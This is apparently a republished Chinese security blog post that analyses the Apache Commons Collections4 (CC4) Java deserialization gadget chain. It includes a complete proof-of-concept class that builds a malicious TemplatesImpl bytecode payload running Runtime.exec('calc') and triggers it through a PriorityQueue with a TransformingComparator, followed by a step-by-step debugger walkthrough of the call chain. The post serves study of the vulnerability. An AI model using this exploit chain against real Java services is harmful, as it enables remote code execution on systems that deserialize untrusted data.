Java安全之Commons Collections4分析

Java安全之Commons Collections4分析

文章首發:Java安全之CC4分析html

0x00 前言

繼續來分析一波CC4的鏈,在寫該文前,看到網上大部分的文章都只給了一個調用鏈和POC。其實看CC4調用鏈的時候,能看出來CC4的調用鏈用到的也是前面的一些類去構造,只不過把CC2 和CC3的鏈給拼接了一下。java

Java安全之Commons Collections2分析apache

Java安全之Commons Collections3分析api

0x01 POC

package com.test;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();




    }
}

用網上的POC作了一個小小的改動。數組

前面的一大段代碼,在這裏就不分析了,由於在CC2和CC3的鏈中,都是同樣的。安全

Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);

CC4鏈中在這段代碼中就作了一個簡單的修改。app

第一步是new了一個ConstantTransformer對象存儲在Transformer[] 數組中傳入的參數是TrAXFilter.class,若是調用到ConstantTransformer實例化對象的transform方法會直接返回一個TrAXFilter對象。this

第二步new了一個InstantiateTransformer對象傳入的是Templates.class和構造的惡意templates實例化對象。3d

第三步是使用了ChainedTransformer的修飾器將Transformer[]數組傳入參數,當調用transform方法將給Transformer[]數組給遍歷調用transform方法。調試

第四步將ChainedTransformer修飾後的對象再使用TransformingComparator修飾器給修飾一遍,這裏再使用TransformingComparator來修飾一下,這樣等調用到該實例化對象的compare,方法的時候就會去遍歷調用Transformer[]transform方法。

Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);

這裏反射獲取PriorityQueue 的成員變量comparator,而後設置PriorityQueuecomparator值爲transCom

其餘的都和前面的如出一轍,這裏就不作具體分析了,感興趣的能夠去看看前面3條鏈的一個調試和分析過程。下面來作CC鏈的調試。

0x03 POC調試

該鏈中利用的也是經過PriorityQueuereadObject做爲入口點。在該readObject複寫點打個斷點進行跟蹤。

readObject會調用到heapify方法。跟進一下heapify方法

heapify方法會再去調用siftDown方法

在這裏若是comparator不爲空,還會繼續調用siftDownUsingComparator方法,comparator在這裏是被修飾的Transformer[]數組。前面使用反射去進行設置的。繼續跟進siftDownUsingComparator方法。

到了這一步後,就會調用comparatorcompare方法,在前面使用到了TransformingComparator來修飾,全部調用到TransformingComparatorcompare方法。

在被TransformingComparator修飾前,還使用了ChainedTransformer修飾器進行修飾,在this.transformerChainedTransformer的實例化對象。因此這裏調用的是ChainedTransformertransform。前面也提過該方法會遍歷調用Transformer[]數組的transform方法。

在第一次遍歷調用transform方法時i,由於前面Transformer[]存儲的第一個是ConstantTransformerConstantTransformertransform會直接返回TrAXFilter對象。

第二次調用的時候則是傳入TrAXFilter調用InstantiateTransformertransform方法。

這裏的this.iParamTypestemplates,而this.iArgs爲構造的惡意TemplatesImpl實例化對象。

那麼這一步就是獲取TrAXFiltertemplates的構造方法。而後調用該構造方法實例化對象,而且傳入TemplatesImpl惡意類。跟進到TrAXFilter構造方法裏面,查看一下具體實現。

在他的構造方法裏面還會對傳入的對象調用newTransformer方法。

此時傳入的是惡意的TemplatesImpl實例化對象。調用的則是TemplatesImplnewTransformer方法。繼續跟進。

在該方法還會調用到getTransletInstance方法。繼續跟進。

到了這裏會判斷_class爲空的話就會去調用defineTransletClasses進行賦值。跟蹤一下defineTransletClasses方法查看是如何賦值的。

_bytecodes_class進行賦值。_bytecodesRuntime類執行命令代碼的字節碼。

在執行完方法後,來到下一步。

_class進行newInstance,進行實例化對象。執行完這一步後,就會彈出計算器,也就是說執行了咱們前面構造好的命令執行代碼。

調用鏈

getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare->ChainedTransformer.transform
->TrAXFilter(構造方法)->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
->(動態建立的類)cc4.newInstance()->Runtime.exec()

0x04 結尾

在CC1和CC3裏面只能在低版本執行,而CC2和CC4能夠在1.8 的版本下執行,調試CC1,3用的是JDK7u21版本,而2和4使用的是jdk8U181版本,親測可用。

CC4的鏈在一開始並不想去作一個分析,由於和前面分析的鏈基本同樣。可是仍是須要把它給記錄下來,也能夠去加深一下影響。

相關文章
相關標籤/搜索